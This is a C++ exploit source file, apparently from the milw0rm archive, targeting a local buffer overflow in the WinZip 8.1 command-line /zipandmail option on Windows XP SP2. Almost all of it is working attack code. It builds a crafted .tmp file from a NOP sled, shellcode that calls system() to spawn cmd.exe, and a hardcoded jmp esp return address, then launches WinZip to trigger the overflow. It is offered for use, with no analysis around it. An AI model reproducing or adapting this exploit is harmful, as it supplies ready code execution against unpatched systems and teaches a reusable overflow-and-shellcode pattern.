82 lines
No EOL
2.1 KiB
C++
82 lines
No EOL
2.1 KiB
C++
/*
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*
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* WinZip Command Line Local Buffer Overflow
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* http://securitytracker.com/alerts/2004/Sep/1011132.html
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* http://www.winzip.com/wz90sr1.htm
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* Exploit coded By ATmaCA
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* Web: atmacasoft.com && spyinstructors.com
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* E-Mail: atmaca@icqmail.com
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* Credit to kozan
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*
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*/
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/*
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*
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* Tested with WinZip 8.1 on Win XP Sp2 En
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* Bug Fixed on WinZip 9.0 Service Release 1 (SR-1)
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* http://www.winzip.com/wz90sr1.htm
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*
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*/
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#include <windows.h>
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#include <stdio.h>
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#define NOP 0x90
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void main()
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{
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// create crafted command line
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char tmpfile[] = "c:\\wzs45.tmp";
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char winzippath[] = "C:\\Program Files\\WINZIP\\winzip32.exe";
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char zipandmailpar[] = " -* /zipandmail /@ ";
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char runpar[300];
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int i = 0;
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strcpy(runpar,winzippath);
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strcat(runpar,zipandmailpar);
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strcat(runpar,tmpfile);
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// need for some input file name .tmp but not must to exist
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char inputfile[] = "C:\\someinputfile.ext\n";
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// launch a local cmd.exe
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char shellcode[] =
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"\x55\x8B\xEC\x33\xFF"
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"\x57\x83\xEC\x04\xC6\x45\xF8"
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"\x63\xC6\x45\xF9\x6D\xC6\x45"
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"\xFA\x64\xC6\x45\xFB\x2E\xC6"
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"\x45\xFC\x65\xC6\x45\xFD\x78"
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"\xC6\x45\xFE\x65\xB8"
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"\xC7\x93\xC2\x77" //77C293C7 system() - WinXP SP2 - msvcrt.dll
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"\x50\x8D\x45\xF8\x50"
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"\xFF\x55\xF4";
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// create crafted .tmp file
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FILE *di;
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if( (di=fopen(tmpfile,"wb")) == NULL ){
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return;
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}
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for(i=0;i<sizeof(inputfile)-1;i++)
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fputc(inputfile[i],di);
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fprintf(di,"c:\\");
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for(i=0;i<384;i++)
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fputc(NOP,di);
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for(i=0;i<sizeof(shellcode)-1;i++)
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fputc(shellcode[i],di);
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fprintf(di,"\xBF\xAC\xDA\x77"); //EIP - WinXp Sp2 Eng - jmp esp addr
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fprintf(di,"\x90\x90\x90\x90"); //NOPs
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fprintf(di,"\x90\x83\xEC\x74"); //sub esp,0x74
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fprintf(di,"\xFF\xE4\x90\x90"); //jmp esp
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fprintf(di,"\n");
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fclose(di);
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WinExec(runpar,SW_SHOW);
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}
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// milw0rm.com [2005-06-07]
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